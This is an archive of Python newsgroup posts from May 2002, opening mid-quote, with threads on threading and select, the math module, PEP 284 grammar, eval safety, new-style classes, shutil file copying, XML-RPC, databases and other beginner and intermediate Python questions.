<> mountings seemed had carved. The probe was > as much a sculpture as a machine. > ... > Every nut and bold in that probe was designed separately. > ... > "...The Motie engineers made two widgets do one job, all right, but the > second widget does two other jobs, and some of the supports are > also bimetallic thermostats and thermoelectic generators all in one. > Rod, I barely understand the words. Modules: human engineers work in > modules, don't they?" > "For a complicated job, of course they do." > "The Moties don't. It's all one piece, everything working on > everything else." > > 'Course, they ain't got nothing on Pak Protectors, who could single- > handedly build a fusion powered interstellar ship if given enough yams > to live on. > -----------== Posted via Newsfeeds.Com - Uncensored Usenet News ==---------- http://www.newsfeeds.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Ulimited Fast Downloads - 19 Servers =----- From joost_jacob at hotmail.com Sun May 26 17:56:42 2002 From: joost_jacob at hotmail.com (J.Jacob) Date: 26 May 2002 14:56:42 -0700 Subject: Sockets/select: how to deal with multiple connections in threads? References: Message-ID: <13285ea2.0205261356.6a995fda@posting.google.com> > [Irmen de Jong] > > I have something that works for now, but I'd like your advice & ideas. > > To answer myself; I got some suggestions by email: > > - use asyncore / Medusa and forget about threading > - don't use a thread on each request, instead, create > a thread and let it live. Let the main thread deal *only* > with accept()-ing new connections. > > Because my software (Pyro) currently is structured around threads, > I'm trying the second suggestion. First results look promising :-) I have been using threads combined with select, maybe this is of some help? -------------------------------------------------------------------------- import threading import select from Tkinter import * def __init__(self, ... # Set up the thread to do asynchronous I/O, more threads possible self.listening = 1 self.thread1 = threading.Thread(target=self.listenThread) self.thread1.start() # Set up stop for threads self.master.protocol('WM_DELETE_WINDOW', self.stopThreads) def listenThread(self): "Remember that the thread has to yield control." while self.listening: is_readable = [self.cserver.socket] is_writable = [] is_error = [] r, w, e = select.select(is_readable, is_writable, is_error, 1.0) if r: print 'handling request', len(r), len(w), len(e) self.cserver.handle_request() def stopThreads(self): self.listening = 0 sys.exit(1) -------------------------------------------------------------------------- A help wanted add for a photo journalist asked the rhetorical question: If you found yourself in a situation where you could either save a drowning man, or you could take a Pulitzer prize winning photograph of him drowning, what shutter speed and setting would you use? -- Paul Harvey From mats.holmberg at welho.com Thu May 16 03:08:06 2002 From: mats.holmberg at welho.com (Mats Holmberg) Date: Thu, 16 May 2002 10:08:06 +0300 Subject: Beginner question Message-ID: Hi I'd mainly like to use python for scripting within Blender. How do I use the math module? this is an example of what I've tried: >>>import math >>>cos(10) Traceback (most recent call last): File "", line 1, in ? cos(10) NameError: name 'cos' is not defined ?? what to do? I need the trigonometric functions, but how do I get to use them? thanks From pyth at devel.trillke.net Fri May 10 22:10:09 2002 From: pyth at devel.trillke.net (holger krekel) Date: Sat, 11 May 2002 04:10:09 +0200 Subject: Thoughts on new grammar rules (PEP 284 in particular) In-Reply-To: <3CDC1DBC.25C7AD7A@alcyone.com>; from max@alcyone.com on Fri, May 10, 2002 at 12:21:32PM -0700 References: <82undu4anb47usgck50ebil2ku1f36173q@4ax.com> <3CDC1DBC.25C7AD7A@alcyone.com> Message-ID: <20020511041009.I25906@prim.han.de> Erik Max Francis wrote: > holger krekel wrote: > > > david and you are right but additionally the OP suggested > > a general [* syntax *] escape mechanism. > > So what would be the purpose of that if it already behaves the way he > wishes? there was more. he e.g mentioned 'for [* 1 References: <20020516164007.A28033@prim.han.de> <6q1yccgch9.fsf@abnoba.intevation.de> Message-ID: <15588.4308.501758.109624@12-248-41-177.client.attbi.com> >> How about just trying to eval() the string? Assuming it begins with >> a quotation mark or apostrophe it should be safe to call eval(). Bernhard> If you mean the builtin eval without any form of restricted Bernhard> execution, you're not safe. Whoops! Thanks. Them dang paren-less tuples! -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills required" - seen on chi.jobs From rob Fri May 24 03:01:41 2002 From: rob (Rob Andrews) Date: Fri, 24 May 2002 07:01:41 GMT Subject: python-friendly web hosts: buyer beware References: Message-ID: > Although I realize the moral of your story, isn't to seek out good > hosts who offer Python, just thought I would mention > http://www.FutureQuest.net > Actually, I'm considerably more interested in the good hosts than in criticizing those who don't meet my own arbitrary standards. The more people point out the ones worth mentioning, the less I have to track them down myself. And there's hardly anything wrong with saying something positive about a company with which one happens to be affiliated. peace, Rob From cook at pyzine.com Thu May 9 12:31:05 2002 From: cook at pyzine.com (Bryan Richard) Date: Thu, 09 May 2002 16:31:05 GMT Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> <3CDA1F01.20300@attbi.com> Message-ID: <3cdaa1f9.259978889@news.newsguy.com> On Thu, 09 May 2002 07:03:17 GMT, Pete Shinners wrote: >i loved the first issue, but i did think it was a little thin. i'd say >you might want to wait for another issue or two before trying to go 'big >time'. by then you may have a better feel for the volume of articles >coming in. if by then the zine is also doing better, you may be able to >negotiate a more comfortable 'deal'. well, it's california...everything's thin here. :)> if i were to dive into a 40pg bi-monthly it wouldn't be until around issue 04 or so. and then i would have to see a major influx of content *cough* pygame *cough*. my thinking prior talking to the distributors was to add 8 pages in early 2003. given personal commitments (moving next month, moving to Boston next Summer) it may be all i can pull off within reason. thanks for the feedback. be well, bryan From warlock at eskimo.com Wed May 8 01:53:39 2002 From: warlock at eskimo.com (Jim Richardson) Date: Tue, 7 May 2002 22:53:39 -0700 Subject: degrees and radians. References: <3cd54503$0$237$cc9e4d1f@news.dial.pipex.com> Message-ID: <3heaba.t57.ln@127.0.0.1> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wed, 8 May 2002 01:10:46 +0000 (UTC), Huaiyu Zhu wrote: > Jim Richardson wrote: >>Thanks. Actually, I am a little intimidated by the whole OO and class >>thing. I still don't "grok" the whole OO thing. >> >>I don't understand what the (self,...) part of the init is. I *think* I >>know what __init__ is for, to set up the things you need to use the >>functions (methods?) within the class, but what's with self all over the >>place? > > Try the "Instant Python" page. Find it on Google or follow links from > python.org. > > Huaiyu Thanks -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE82L1jd90bcYOAWPYRAs8nAJ9DAGJCpeYDSoK9l97o/e52jdpdVwCfdpGv ImEBAtbixBb7N6JyVCpMccI= =wpdc -----END PGP SIGNATURE----- -- Jim Richardson Anarchist, pagan and proud of it http://www.eskimo.com/~warlock Linux, from watches to supercomputers, for grandmas and geeks. From peter at engcorp.com Mon May 13 20:07:42 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 13 May 2002 20:07:42 -0400 Subject: which db should I use? References: <3CDF3C5D.78B73EE0@engcorp.com> Message-ID: <3CE0554E.7EA96EB1@engcorp.com> Jim Richardson wrote: > > Peter Hansen wrote: > > It's unclear even after your description why you want to use a > > relational database. Is it simply because that's part of the > > learning experience you've set for yourself, or are there particular > > performance requirements or a need for relational operations? > > probably because I am a clewless newbie and don't know any other options > :) What is available that isn't relational? Well, there's object (OO) databases, object-relational DBs, and there's things that aren't typically described as databases although they are: e.g. files in the file system such as I mentioned. A database is more than just storage; normally it's a database manager (or DBM) which provides all kinds of capabilities beyond just storage. > > Why not just store them as files in the file system? > > searches are really slow with grep, on an ext3 filesystem. I wouldn't > mind a file based system, but will probably go with a db system in order > to learn more about SQL No need to use grep, unless you want to. Normally you would want to index the files, so that a search for key words becomes an extremely fast operation. Even in a database... > > Well, okay, if it's just to learn SQL. But you might find better > > types of data for that purpose. > > Well, probably better data out there, but this gets two birds with one > stone. In that case, go for it. (Personally, I would try to decouple the birds from each other and focus on one at a time, but then I've got dozens of birds flying around that I haven't even tried to catch yet...) -Peter From look at replyto.address.invalid Mon May 27 01:06:21 2002 From: look at replyto.address.invalid (Greg Ewing) Date: Mon, 27 May 2002 17:06:21 +1200 Subject: len() and __len__ References: <3CF10970.1010304@attbi.com> Message-ID: <3CF1BECD.6761E227@replyto.address.invalid> Pete Shinners wrote: > > len() will work on any type of sequence object (lists, tuples, and all). > __len__ will only work on class instances with a __len__ method. I think that, in Python 2.2, any object which responds to len() also appears to have a __len__ method, due to some magic which has been added to support subclassing of builtin types. --- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From mac at magusdesigns.com Sun May 12 16:53:47 2002 From: mac at magusdesigns.com (Mac Martine) Date: Sun, 12 May 2002 13:53:47 -0700 Subject: Python in ASP pages Message-ID: <000101c1f9f7$1cb09f20$6401a8c0@MAGUS> Hi- - I am on Windows XP. -I have Python2.2 installed (I think this is different from the ActiveState version...i'm new to this, so I'm unclear) -So, I am trying to run Python code in my ASP pages. I managed to get .py files to run in my browser, but I can't get Python code to run in my asp pages. I'm trying: <%@ Language = Python %>

Python Test

...and I get an error on the first line saying "Unknown scripting language 'Python'" any ideas? thanks a lot! -Mac -------------- next part -------------- An HTML attachment was scrubbed... URL: From maric.michaud at cirec.com Mon May 27 09:53:40 2002 From: maric.michaud at cirec.com (Maric MICHAUD) Date: Mon, 27 May 2002 15:53:40 +0200 Subject: encoding with reportlab Message-ID: <27E327AB8201B54495D54105FBBBB1485D2039@SRVMSG.GERLAND2.local> I'm working on release 1.0, ... no such file ? Do you think I absolutely need to upgrade ? -----Message d'origine----- De : Gillou [mailto:nospam at bigfoot.com] Envoy? : lundi 27 mai 2002 13:24 ? : python-list at python.org Objet : Re: encoding with reportlab It's in one of the tests... /path/to/reportlab/test/test_pdfbase_encodings.py HTH --Gilles "Maric MICHAUD" a ?crit dans le message news: mailman.1022493751.14685.python-list at python.org... Does anyone know how make reportlab print euro symbol (EUR ) in a pdf doc under linux ('\xa4' in iso 8859-15) -- http://mail.python.org/mailman/listinfo/python-list From david.abrahams at rcn.com Wed May 29 17:28:44 2002 From: david.abrahams at rcn.com (David Abrahams) Date: Wed, 29 May 2002 17:28:44 -0400 Subject: changing new style classes py2.2 References: Message-ID: "Robert Kuzelj" wrote in message news:eaef2e43.0205291225.45a6b751 at posting.google.com... > hi, > > i am having some problems using new style classes. > i want to build something like an class-enhancer > so i need write-access to the class.__dict__. > but this seems to be forbidden now as opposed > to oldsytle classes. > > >>> #some examples > >>class A(object): > >>..def meth1(self): pass > >>..def meth2(self): pass > > >> A.__dict__["meth3"] = A.meth1 > this throws "TypeError: object does not support item assignment" > this was perfectly legal in old style classes. > > on the other hand this is still legal (that means > it still works without error). > >>A.meth3 = A.meth1 > > so i could at least workaround by writing the following code > >>exec "A.%(name1)s = A.%(name2)s" % {"name1": "meth5", "name2": "meth1"} > not very clear or very pythonic. > > besides the fact, that this behaviour seems to be inconsistent > with the old-style it is inconsistent with it self. either one > can change a class (then it should be possible by writing to > the __dict__) or one can not. > > the workaraound is simply ugly (and sure is slower). This doesn't look so terrible to me: Python 2.2.1 (#34, Apr 12 2002, 16:47:22) [MSC 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> class A(object): ... def meth1(self):pass ... def meth2(self):pass ... >>> setattr(A,"meth3",A.meth1) >>> a = A() >>> a.meth3 > >>> a.meth3() >>> From cook at pyzine.com Thu May 9 13:00:11 2002 From: cook at pyzine.com (Bryan Richard) Date: Thu, 09 May 2002 17:00:11 GMT Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> <3CDA056B.E213A4A3@engcorp.com> <3CDA6AFC.5B970E88@engcorp.com> Message-ID: <3cdaa97a.261900412@news.newsguy.com> On Thu, 09 May 2002 14:56:48 GMT, "Brett g Porter" wrote: >My subscription copies of "C/C++ User's Journal" frequently arrive with a >separately bound Java supplement that I occasionally flip through before >recycling, so this model has been done at least once. The obvious advantage >of this approach is that you're not just preaching to the choir. I've been >pleased to see a fairly regular Python presence in DDJ of late -- makes it >easy to keep Python in the minds of my co-workers. I've always like the Java insert. I never read it, but I like the concept. >>of this approach is that you're not just preaching to the choir. "preaching to the choir" seems to be my entire business model. :)> be well, bryan From krissepu at vip.fi Thu May 9 05:47:04 2002 From: krissepu at vip.fi (Pekka Niiranen) Date: Thu, 09 May 2002 12:47:04 +0300 Subject: Stackless python + official python ? Message-ID: <3CDA4598.27A53D75@vip.fi> After reading "Continuations and Stackless Python" by Christian Tismer I started wondering if there are any plans to merge his efforts to official Python release ? Or is it too late because user and application base of the language are allready so wide that pure engineering decisions for the language development are impossible ? -pekka- From joost_jacob at hotmail.com Sun May 5 18:37:22 2002 From: joost_jacob at hotmail.com (J.Jacob) Date: 5 May 2002 15:37:22 -0700 Subject: making python scripts backwards compatible References: <13285ea2.0205041128.51eda313@posting.google.com> Message-ID: <13285ea2.0205051437.497d183@posting.google.com> [Martin v. L?wis] > From whom are you requesting this? It is only a request to mention the python version you used to develop a module. If it is backwards compatible to python 1.5.2, and uses the new features if run on later version, that is great. But i am not saying everything should be backwards compatible, that is just too much work for some and i understand that. [Martin v. L?wis] > The code in question (SimpleXMLRPCServer) could *not* be used by > people or systems based on Python 1.5.2, since you took it from the > standard libary of a later Python version. Such code can only work > with the Python executable that it came with. I managed to use it with python 1.5.2 after a little refactoring, it was not that much work for SimpleXMLRPCServer, it is well designed. Just had to refactor xmlrpclib too and some others, they are now on my system as bcxmlrpclib etc. [Martin v. L?wis] > Even for code that *is* designed and maintained to work across > different Python versions, this request is unreasonable. As i wrote earlier i would just like to be able to find the python version that was used to make it. Then you know what to look for when scanning the code for compatibility problems. [Martin v. L?wis] > I dropped support for Python 1.5.2 from PyXML a few days ago, after > asking users whether they would care. Redhat responded that they still > ship Python 1.5.2, and will continue to do so throughout Redhat 7.x. > However, they also pointed out that there *is* a Python 2.x > distribution in recent Redhat releases, so users can install it if > they want to. Yes i found a python20 command on our system too. [Martin v. L?wis] > The net result is that PyXML 0.8 will not support Python 1.5.2 > anymore, and that Redhat therefore won't incorporate PyXML 0.8 in any > of the Redhat 7.x releases. Those damn companies :) Wish there was a petition list or something so we can do something about the Red Hat policy. PyXML is great, keep up the good work ! greetings, Joost From joost_jacob at hotmail.com Mon May 27 03:21:31 2002 From: joost_jacob at hotmail.com (J.Jacob) Date: 27 May 2002 00:21:31 -0700 Subject: XML-RPC and Tkinter demo, comments welcome :-) References: <13285ea2.0205261342.36cf6dde@posting.google.com> Message-ID: <13285ea2.0205262321.6eb0fdde@posting.google.com> "Fredrik Lundh" wrote in message news:... > J.Jacob wrote: > > I used xmlrpclib and SimpleXMLRPCServer, both made > > backwards compatible to python 1.5.2 > > you mean forwards compatible, I suppose? > > $ more xmlrpclib.py > ... > # also note that this version is designed to work with Python 1.5.1 > # or newer. it doesn't use any 1.5.2-specific features. > ... > > footnote: official xmlrpclib releases, for 1.5.2 and newer, can > be found here: http://effbot.org/downloads/ > > Yes I do mean the effbot version of xmlrpclib. Just included it in my .zip file. I did not change a thing in xmlrpclib and should have made that clear. The SimpleXMLRPCServer module from Brian Quinlan only needed a few adaptions for 1.5.2, and I removed the pydoc usage because I try to work with a minimum of extra files. Anyway if you have Python version 2.2 I think you can remove the xmlrpclib and SimpleXMLRPCServer files? Going to test it in a few weeks when I have a new notebook and going to install Python 2.2 on it :) Fredrik Lundh if you are reading this thanks a LOT for your xmlrpclib module! From henk.derudder at barconet.com Tue May 14 10:19:14 2002 From: henk.derudder at barconet.com (henk.derudder at barconet.com) Date: Tue, 14 May 2002 14:19:14 GMT Subject: runtime environment Message-ID: <3ce11c41.623393421@news.skynet.be> Hi all, This cannot be the first question concerning this: is there some kind of installer available (or better: some kind of unattended installer) which installs just the Python runtime envrionment (so without the IDE, documentation, and other gadgets)? Scripts can run then on the machine on which the installer has done its job. Thanks in advance for your answers, Henk From shalehperry at attbi.com Tue May 28 17:58:52 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Tue, 28 May 2002 14:58:52 -0700 (PDT) Subject: Unix file(1) command identifing .pyc In-Reply-To: <67bc282e.0205281338.707d9664@posting.google.com> Message-ID: On 28-May-2002 drt wrote: > The Unix file command identifies the type of a file using, > among other tests, a test for whether the file begins with a certain > magic number. The actual version (3.38) can't identify compiled > python code. I have added the macic numbers for python and > successfully tested on 2.2.1 and 2.1.3 on i386 and PowerPC machines. > Perhaps somebody has acient Python versions or unusual machines to > further test this. > > The magic file can be found at > http://c0re.jp/c0de/misc/file-3.38-magic-python > > Usage example: > $ curl -O http://c0re.jp/c0de/misc/file-3.38-magic-python > $ file -m file-3.38-magic-python /usr/local/lib/python*/cgi.pyc > file: Using regular magic file `file-3.38-magic-python' > /usr/local/lib/python2.1/cgi.pyc: python 2.1.x compiled bytecode > /usr/local/lib/python2.2/cgi.pyc: python 2.2.x compiled bytecode > $ > $ file popen2.pyc popen2.pyc: python (2.1) compiled is what i get on my Debian box. # often the module starts with a multiline string 0 string """ a python script text executable # MAGIC as specified in Python/import.c # ( YEAR - 1995 ) + MONTH + DAY (little endian followed by "\r\n" # 20121 = 21/01/1997 0 belong 0x994e0d0a python (1.5.2/1.6) compiled # 50823 = 23/08/2000 0 belong 0x87c60d0a python (2.0) compiled # 60202 = 02/02/2001 0 belong 0x2aeb0d0a python (2.1) compiled # 60717 = 17/01/2001 0 belong 0x2ded0d0a python (2.2) compiled is the contents of our magic file. From phd at phd.pp.ru Tue May 14 07:42:59 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Tue, 14 May 2002 15:42:59 +0400 Subject: 3rd party modules In-Reply-To: <3ce0d767$0$230$4d4ebb8e@read.news.nl.uu.net>; from gumuz@looze.net on Tue, May 14, 2002 at 11:32:36AM +0200 References: <3ce0d568$0$229$4d4ebb8e@read.news.nl.uu.net> <3CE0D6CA.480264A6@alcyone.com> <3ce0d767$0$230$4d4ebb8e@read.news.nl.uu.net> Message-ID: <20020514154259.A8572@phd.pp.ru> On Tue, May 14, 2002 at 11:32:36AM +0200, Guyon Moree wrote: > so what does this mean? > ps. in case you didn't notice... i'm a newbie in python :) > > > > python setup.py install http://www.python.org/doc/current/inst/inst.html Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From jeff at ccvcorp.com Tue May 14 14:03:00 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Tue, 14 May 2002 11:03:00 -0700 Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <3CE11388.697C9AE2@kfunigraz.ac.at> Message-ID: In article , Michael Gilfix says... > I got the impression from your first post that you were complaining > that Python wasn't freeing memory at all (I could be totally > off). Perhaps the problem might be circular references? Is your > data structure self-referential? If so, you should be using > weakref's. There's nothing python can do to free circular references > because it always thinks they're in use. Actually, that's not true. The garbage collection in recent Python versions (I think 2.0+, but I'm not positive) can indeed detect cycles. Of course, if you know that you've got circular references, you're likely better off using weakrefs anyhow, but it is possible for Python to release cyclic garbage. That being said, the problem here seems to me to be the OS memory management, not anything to do with Python. -- Jeff Shannon Technician/Programmer Credit International From carel.fellinger at iae.nl Thu May 23 21:31:49 2002 From: carel.fellinger at iae.nl (Carel Fellinger) Date: Fri, 24 May 2002 03:31:49 +0200 Subject: Emulating Pascal input In-Reply-To: <20020524005826.GA7703@schaduw.felnet> References: <20020524005826.GA7703@schaduw.felnet> Message-ID: <20020524013149.GB7703@schaduw.felnet> On Fri, May 24, 2002 at 02:58:26AM +0200, Carel Fellinger wrote: ... > >>> def readln(from, *types, seperator=None): argh, this used to work (I think:), but now seperator must preceed *types, and that means it's useless. So extra trickery is needed:( >>> def readln(from, *types, **kws): ... assert kws.keys() in [["seperator"], []] ... seperator = kws.get("seperator", None) From ods at fep.ru Tue May 21 06:15:11 2002 From: ods at fep.ru (Denis S. Otkidach) Date: Tue, 21 May 2002 14:15:11 +0400 (MSD) Subject: ANN: set-0.2 module available In-Reply-To: Message-ID: On 17 May 2002, Coady wrote: C> - The set hashing function is no longer brain-dead. Thanks C> to Kevin C> Jacobs. C> - Set comparison has been better optimized. C> - Sets have two new (read&write) boolean attributes: C> 'mutable' and C> 'hashable'. At the risk of feature bloat, this should allow C> complete C> flexibility. The default is still the same: hashable and C> mutable, C> but becomes immutable upon first (successful) hashing. I guess mutable/hashable attributes are not useful. Here is another problem: >>> from set import set >>> s=set((1,3,5)) >>> hash(s) 1272199707 >>> s&=set((2,4,6)) Traceback (most recent call last): File "", line 1, in ? TypeError: set has become immutable If the set became immutable it should not be modified in-place, but &= operator should create new object according to ?= documentation. Unfortunately, it makes this error prone "2 in 1" solution even more hard to debug. From emile at fenx.com Fri May 31 09:48:26 2002 From: emile at fenx.com (Emile van Sebille) Date: Fri, 31 May 2002 13:48:26 GMT Subject: reimport module References: Message-ID: Henning Peters > The problem is, that python caches the file instead of rereading it so that > a change of the configuration and a later restart of the server would take > no effect. > > Is it possible to flush this cache or is it better to implement an own > config parser instead of using a python file as config file? Have you tried reload (module) -- Emile van Sebille emile at fenx.com --------- From mwh at python.net Fri May 24 06:06:12 2002 From: mwh at python.net (Michael Hudson) Date: Fri, 24 May 2002 10:06:12 GMT Subject: 2**HUGENUMBER Why not optimise it? References: Message-ID: Christian Tismer writes: > Michael Hudson wrote: > > Do you feel like implementing Karatsuba multiplication in > > longobject.c? That might actually be some use... > > Although this was on the table two or three years ago, I know. I remember. That thread was probably the first place I heard of Karatsuba multiplication... > and dissed as well, although cheap to implement. I don't think it got dissed; as I recall Tim and yourself slung Python versions around for a bit and then said "now who's going to translate this into C for longobject.c?" whereupon the thread died very quickly. Cheers, M. PS: longobject.c is surely the most horrible bit of source in the Python distribution. I certainly wouldn't want to hack on it. -- Hmmm... its Sunday afternoon: I could do my work, or I could do a Fourier analysis of my computer's fan noise. -- Amit Muthu, ucam.chat (from Owen Dunn's summary of the year) From anthony_barker at hotmail.com Fri May 17 10:58:46 2002 From: anthony_barker at hotmail.com (Anthony_Barker) Date: 17 May 2002 07:58:46 -0700 Subject: SSLeay / Net::SSLeay / How to see who issued the x.509 cert on a web server... References: <899f842.0205160546.6de36d7c@posting.google.com> Message-ID: <899f842.0205170658.35fa6844@posting.google.com> > I'd investigate pyOpenSSL (Sourceforge), M2Crypto (Google) or POW > (Sourceforge). > > Gerhard Thanks, pyOpenSSL looks great. I just used a quick wrapper around openssl s_client. eg: openssl s_client -connect www.equifax.com:443 -verify -1 Thanks Anthony From larooy at xtar.co.nz Tue May 14 06:12:46 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Tue, 14 May 2002 22:12:46 +1200 Subject: How do I check if a pid is running? References: <833cwvjsre.fsf@panacea.canonical.org> Message-ID: <20020514221246.616b76f7.larooy@xtar.co.nz> What will they think of next? Hiding shutdown under the button marked 'start'? On 13 May 2002 23:46:45 -0400 Kragen Sitaker wrote: > "Noah" writes: > > Thanks, this seems to work. In fact the man page for kill > > says that signal 0 can be used to check the valifity of a pid. > > Of course! How logical! Just the other day I was thinking, "How can > I test whether or not a process exists?" The very first thing that > occurred to me was, "I wonder if the man page for kill(2) suggests a > way to do that?" > > Not. > From mda at idatar.com Mon May 27 21:28:46 2002 From: mda at idatar.com (David Allen) Date: Tue, 28 May 2002 01:28:46 GMT Subject: Tkinter focused widget Message-ID: Just a quick question: When using Tkinter (and/or Pmw since I'm using that in my application as well) How do you determine which widget has keyboard/mouse focus? Also, how does one go about copying or removing text from the system clipboard? (To implement cut/paste type operations) Any help would be appreciated. From peter at engcorp.com Mon May 13 19:52:05 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 13 May 2002 19:52:05 -0400 Subject: Conditional compilation References: <3cdbb641_2@news3.newsgroups.com> <4c877253.0205121636.72067c82@posting.google.com> Message-ID: <3CE051A5.3C916710@engcorp.com> Garth T Kidd wrote: > > One thing I love in UserTalk (of Frontier, Manilla and Radio UserLand > fame) is the 'bundle' keyword that simply provides another variable > scope and bundles up a few lines of code. > > Compare:: > > # do this > > ... code to do this > > # do that > > ... code to do that > > With:: > > bundle # do this > ... code to do this > > bundle # do that > ... code to do that I fail to see any advantage to that structure. Wouldn't this be even better in any case? : subroutineCallToDoThis() subroutineCallToDoThat() It's more concise, self-documenting, more modular, maintainable, more testable, and so forth.... Just what value does "bundle" provide? Your example doesn't show it. -Peter From steve at lurking.demon.co.uk Tue May 14 09:48:03 2002 From: steve at lurking.demon.co.uk (Steve Horne) Date: Tue, 14 May 2002 14:48:03 +0100 Subject: Thoughts on new grammar rules (PEP 284 in particular) References: <82undu4anb47usgck50ebil2ku1f36173q@4ax.com> Message-ID: On Sat, 11 May 2002 09:52:45 GMT, Alex Martelli wrote: >He even mentioned that this could be >seen as a 'macro', thereby causing me to recoil in horror (I've >seen what macros do to languages and don't like it one bit:-). I certainly wasn't suggesting macros. The new facilities would still need to be accepted and built into the interpreter with my scheme - and the main bloat filter (objecting Python users) would still be present. Actually, though, I rather like macros - just not the way they are typically handled. Sometimes, code generation can be a better approach than hand coding. As with any feature, of course, it can be abused - but that's beside the point. After all, even the unary '-' can be abused (what is the value of -----------------------------------1 ?) Ideally, I'd like compiled languages to support this directly - with the features being invoked at compile (or code generation) time being as-far-as-possible identical (even in syntax) to those available in the main code. In fact, I see this as an extreme case of the optimisation view that if something has no dependency on run-time data, it should be evaluated at compile-time. ASP and the like have already approached that problem - providing 'escapes' to say a section of a document is 'calculated' by the server prior to sending it to the clients browser. I have already written a code-generation tool which detects some simple escapes while preprocessing Python source code, so I can use Python (with a few minor tweaks) to generate C++. It works well enough - but as with any system of escapes, if overused, it can make a mess. -- Steve Horne steve at lurking.demon.co.uk From tdelaney at avaya.com Wed May 29 04:02:55 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Wed, 29 May 2002 18:02:55 +1000 Subject: What does Python offer? Message-ID: > From: Solosnake > > I have beome curious about Python after playing a game called > 'Severance - > Blade of Darkness', which uses python scripts. I know very > little about the > language. I am a C++ programmer, and would like to ask the > Python community > : > > What is unique or special about Python? > Why would it be useful to a games programmer? Obviously. Blade of Darkness uses it ... http://www.python.org/ http://www.python.org/doc/Newbies.html http://www.python.org/doc/current/tut/tut.html http://www.python.org/doc/Comparisons.html http://www.pygame.org/ http://pyopengl.sourceforge.net/ For (potentially) controlling/modifying other games, you will need to know about extending and embedding, but I suggest you get some straight python under your belt first ;) Tim Delaney From mirandacascade at yahoo.com Wed May 8 18:51:32 2002 From: mirandacascade at yahoo.com (Miranda Evans) Date: 8 May 2002 15:51:32 -0700 Subject: wait() method of threading.Event() class Message-ID: <59e5b87.0205081451.69641041@posting.google.com> Using: python 2.2, PythonWin environment, Windows 2000 O/S. Attempting to have a script handle the possibility that an event from a COM object might fire within x seconds. Wanted to have the script wait until either the event fired or x seconds elapsed (whichever comes first.) Thought this might be a good candidate for the threading.Event class. test.py: import win32com.client import threading testev = threading.Event() class xlEvents: def OnSheetBeforeDoubleClick(self, sh, Target, cancel): testev.set() def driver(): xl = win32com.client.DispatchWithEvents("Excel.Application", xlEvents) xl.Visible=1 xl.Workbooks.Add() # wait up to 30 seconds (assumes wait ends if testev is set in < 30 secs) testev.wait(30) if testev.isSet(): print "event happened within 30 seconds" else: print "event did not happen within 30 seconds" In Interactive Window of PythonWin environment: >>> import test >>> test.driver() An MS Excel app opens...within a few seconds, I make the Excel app the active window and double click in a cell. I attempt to get back to the PythonWin application...unable to get to that application until about 30 seconds after the test.driver() function was invoked. When back at the PythonWin application, the message 'event did not happen within 30 seconds' appears. I ran the following test in Interactive Window >>> import win32com.client >>> class xlEvents: ... def OnSheetBeforeDoubleClick(self, sh, target, cancel): ... print "double click happened" >>> xl = win32com.client.DispatchWithEvents("Excel.Application", xlEvents) >>> xl.Visible=1 >>> xl.Workbooks.Add() At this point I make the excel app the active window and I double click in a cell. Am able to get back to the PythonWin application right away, and the message 'double click happened' is displayed. Based on this test, it looks like: - OnSheetBeforeDoubleClick is an event that fires - the DispatchWithEvents method is able to make the python script aware of events that fire in the Excel app So, it kinda looks like I didn't implement the threading.Event class correctly. How should I have implemented this to make the application wait until either the double click event fires or until 30 seconds elapses; whichever comes first? From op73418 at mail.telepac.pt Wed May 8 21:08:36 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Thu, 09 May 2002 02:08:36 +0100 Subject: help needed on generator Message-ID: <5lijdu8recmu4sgrmgq1m95fgqg8p3brjg@4ax.com> Hi, I've coded this generator to traverse a directory tree. #Import generators. from __future__ import generators #Import modules. import os, sys def true(*args, **kwargs): """The identically true function.""" return 1 def dirtree(root, predicate = true): """Visit a directory tree, using a generator. A predicate can be provided to trim the directories visited.""" #Yield root dir. if predicate(root): yield root #Recurse into subdirectories. for dirname in [dir for dir in os.listdir(root) if os.path.isdir(dir)]: if predicate(dirname): dirtree(os.path.join(root, dirname), predicate) if __name__ == '__main__': try: root = sys.argv[1] except IndexError: root = os.getcwd() for dir in dirtree(root): print dir When I feed "C:" to the sucker (run as script) only "C:" gets printed. Can anyone point out to me what I am doing wrong? P.S: I want to keep the order: first yield the directory then go and visit the childs. Thanks in advance and best regards, Gon?alo Rodrigues From moc.q-dnan-p at p-nand-q.com Fri May 17 08:04:09 2002 From: moc.q-dnan-p at p-nand-q.com (Gerson Kurz) Date: Fri, 17 May 2002 12:04:09 GMT Subject: shutil rant Message-ID: <3ce4eebb.26302437@News.CIS.DFN.DE> So, I want to make *exact* copies of files. The first function I find is in shutil """copyfile(src, dst) Copy the contents of the file named src to a file named dst. If dst exists, it will be replaced, otherwise it will be created....""" I use that function, only to find out what the documentation will not tell you, that neither the file attributes nor the file date is copied. :( So, I'm reading the whole doc page on "shutil". It has the two ingeniously named functions """copy(src, dst) Copy the file src to the file or directory dst...Permission bits are copied...""" and """copy2(src, dst) Similar to copy(), but last access time and last modification time are copied as well.""" I try copy2, gruntling about the great name choice, but find that the hidden attribute is not copied (on Windows 2000 using ActivePython 2.2.1 Build 222). The "Read Only" bit is copied. I look into the source of lib\shutil.py and find that copy2 is a wrapper for copystat, which means it won't work neither; basically it uses the stuff from the "stat" module which doesn't have support for anything other than the unix file-permission bits. Now I know about general unix superiority and all that, but ... do I really have to resort to "import 